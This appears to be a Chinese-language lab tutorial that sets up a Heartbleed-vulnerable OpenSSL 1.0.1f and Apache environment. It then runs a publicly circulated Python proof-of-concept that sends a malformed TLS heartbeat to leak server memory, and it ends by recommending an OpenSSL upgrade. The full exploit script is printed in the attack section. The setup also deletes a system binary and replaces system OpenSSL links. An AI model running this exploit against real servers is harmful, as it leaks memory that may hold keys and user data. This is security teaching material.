0x00 heartbleed漏洞

Heartbleed漏洞，这项严重缺陷(CVE-2014-0160)的产生是由于未能在memcpy()调用受害用户输入内容作为长度参数之前正确进行边界检查。攻击者可以追踪OpenSSL所分配的64KB缓存、将超出必要范围的字节信息复制到缓存当中再返回缓存内容，这样一来受害者的内存内容就会以每次64KB的速度进行泄露。

0x02 基本背景和影响

OpenSSL心脏出血漏洞的大概原理是OpenSSL在2年前引入了心跳(heartbeat)机制来维持TLS链接的长期存在，心跳机制是作为TLS的扩展实现，但在代码中包括TLS(TCP)和DTLS(UDP)都没有做边界的检测，所以导致攻击者可以利用这个漏洞来获得TLS链接对端（可以是服务器，也可以是客户端）内存中的一些数据，至少可以获得16KB每次，理论上讲最大可以获取64KB。

OpenSSL是为网络通信提供安全及数据完整性的一种安全协议，囊括了主要的密码算法、常用的密钥和证书封装管理功能以及SSL协议．多数SSL加密网站是用名为OpenSSL的开源软件包，由于这也是互联网应用最广泛的安全传输方法，被网银、在线支付、电商网站、门户网站、电子邮件等重要网站广泛使用，所以漏洞影响范围广大。

0x03 openssl编译安装

1、安装配置openssl并解决本机自带openssl
因为要替换本机版本，所以我们要用到编译安装
首先下载最后受漏洞影响的1.0.1f版本

wget https://www.openssl.org/source/old/1.0.1/openssl-1.0.1f.tar.gz

先执行命令

rm -f /usr/bin/pod2man

防止编译安装openssl报错：POD document had syntax errors at /usr/bin/pod2man line 69. make: *** [install_docs]

然后解压下载的openssl后，在解压后的目录输入下面命令编译安装到/usr/local/openssl目录

./config shared zlib  --prefix=/usr/local/openssl && make && make install 

等待编译完成，依次执行以下命令

./config -t
make depend
cd /usr/local
ln -s openssl ssl

在/etc/ld.so.conf文件的最后面，添加如下内容：

/usr/local/openssl/lib
ldconfig

添加OPENSSL的环境变量：
在etc/profile的最后一行，添加：

export OPENSSL=/usr/local/openssl/bin
export PATH=$OPENSSL:$PATH:$HOME/bin

退出命令界面，再从新登录。

依次执行下列名令，移除原版本的openssl，创建新的软连接

mv /usr/bin/openssl /usr/bin/openssl.old
mv /usr/include/openssl /usr/include/openssl.old
ln -s /usr/local/openssl/bin/openssl /usr/bin/openssl
ln -s /usr/local/openssl/include/openssl /usr/include/openssl
ln -sf /usr/local/openssl/lib/libcrypto.so.1.0.0 /lib/libcrypto.so.6
echo "/usr/local/openssl/lib" >>/etc/ld.so.conf 
ldconfig -v

执行：

ldd /usr/local/openssl/bin/openssl

会出现类似如下信息：

测试新版本的OpenSSL是否正常工作

openssl
OpenSSL> version -a

此时，openssl安装完毕。

0x04 apache编译安装

如果用之前yum安装的apache，用nmap扫描heartbleed漏洞仍然会是没有漏洞的版本，所以我们要重新编译安装apache并链接到我们的openssl1.0.1f版本。

方法如下：

下载apache源码进行编译安装，并且要安装依赖arp 和arp-util :
下载过程不再赘述
arp安装:

./configure --prefix=/usr/local/apr
make && make install

arp-util安装

./configure --prefix=/usr/local/apr/util --with-apr=/usr/local/apr
make && make install

apache安装，并配置到arp和arp-util和1.0.1f的openssl版本

./configure --prefix=/usr/local/httpd --enable-so --enable-rewrite --enable-ssl --with-ssl=/usr/local/openssl --with-apr=/usr/local/apr --with-apr-util=/usr/local/apr/util
make && make install

此时apache重装完毕。

0x05 apache和openssl配置

首先安装依赖包：mod_ssl

yum install mod_ssl

在安装目录下的httpd.conf中添加ssl支持（注意这里是刚安装的apache目录，不要去配置原来的apache）：

LoadModule ssl_module    modules/mod_ssl.so

并启动重定向（同样在httpd.conf）：

RewriteEngine on
RewriteCond %{SERVER_PORT} !^443$
RewriteRule ^/?(.*)$ https://%{SERVER_NAME}/$1 [L,R]

利用openssl生成证书并修改Apache配置，实现https访问

（1）生成私钥(key文件):

openssl genrsa -des3 -out server.key 1024

去除key文件口令:

openssl rsa -in server.key -out server.key

（2）生成Certificate Signing Request（CSR）

openssl req -new -key server.key -out server.csr

依照其指示一步一步输入要求的个人信息即可
（3）建立服务器密钥请求文件

openssl req -new -x509 -keyout server.key -out server.crt

（4）建立服务器证书

openssl server.crt -req -signkey server.key -days 365

（5）将刚才生成的几个文件放在任意文件夹，然后vi编辑ssl.conf：

将SSLCertificateFile和SSLCertificateKeyFile设置对应到这个路径的相应文件：

（6）重启apache，然后通过宿主机访问虚拟机ip，发现被自动定向到443端口:

ps：
apache启动方法：
在apache安装路径/usr/local/httpd/bin 中输入./apachectl start启动apache

此时，环境搭建完毕。

0x06 使用poc攻击

用nmap -sV localhost –script=ssl-heartbleed测试漏洞环境

结果如下，发现心脏出血漏洞：

然后利用poc进行攻击
网上查到的python版poc：

执行命令如： python heartbleed.py 192.168.152.132 -p 443
#!/usr/bin/python

import sys
import struct
import socket
import time
import select
import re
from optparse import OptionParser

options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')

def h2bin(x):
    return x.replace(' ', '').replace('\n', '').decode('hex')

hello = h2bin('''
16 03 02 00  dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
00 0f 00 01 01                                  
''')

hb = h2bin(''' 
18 03 02 00 03
01 40 00
''')

def hexdump(s):
    for b in xrange(0, len(s), 16):
        lin = [c for c in s[b : b + 16]]
        hxdat = ' '.join('%02X' % ord(c) for c in lin)
        pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
        print '  %04x: %-48s %s' % (b, hxdat, pdat)
    print

def recvall(s, length, timeout=5):
    endtime = time.time() + timeout
    rdata = ''
    remain = length
    while remain > 0:
        rtime = endtime - time.time() 
        if rtime < 0:
            return None
        r, w, e = select.select([s], [], [], 5)
        if s in r:
            data = s.recv(remain)
            # EOF?
            if not data:
                return None
            rdata += data
            remain -= len(data)
    return rdata
        

def recvmsg(s):
    hdr = recvall(s, 5)
    if hdr is None:
        print 'Unexpected EOF receiving record header - server closed connection'
        return None, None, None
    typ, ver, ln = struct.unpack('>BHH', hdr)
    pay = recvall(s, ln, 10)
    if pay is None:
        print 'Unexpected EOF receiving record payload - server closed connection'
        return None, None, None
    print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
    return typ, ver, pay

def hit_hb(s):
    s.send(hb)
    while True:
        typ, ver, pay = recvmsg(s)
        if typ is None:
            print 'No heartbeat response received, server likely not vulnerable'
            return False

        if typ == 24:
            print 'Received heartbeat response:'
            hexdump(pay)
            if len(pay) > 3:
                print 'WARNING: server returned more data than it should - server is vulnerable!'
            else:
                print 'Server processed malformed heartbeat, but did not return any extra data.'
            return True

        if typ == 21:
            print 'Received alert:'
            hexdump(pay)
            print 'Server returned error, likely not vulnerable'
            return False

def main():
    opts, args = options.parse_args()
    if len(args) < 1:
        options.print_help()
        return

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    print 'Connecting...'
    sys.stdout.flush()
    s.connect((args[0], opts.port))
    print 'Sending Client Hello...'
    sys.stdout.flush()
    s.send(hello)
    print 'Waiting for Server Hello...'
    sys.stdout.flush()
    while True:
        typ, ver, pay = recvmsg(s)
        if typ == None:
            print 'Server closed connection without sending Server Hello.'
            return
        # Look for server hello done message.
        if typ == 22 and ord(pay[0]) == 0x0E:
            break

    print 'Sending heartbeat request...'
    sys.stdout.flush()
    s.send(hb)
    hit_hb(s)

if __name__ == '__main__':
    main()

进行攻击，成功获得内存的数据

通过wireshark抓包，我们发现Heartbeat Response回复了大约16kb的内存数据。

0x07 使用openvas对该存在漏洞的系统扫描

结果如下：

0x08 应对方案

升级openssl版本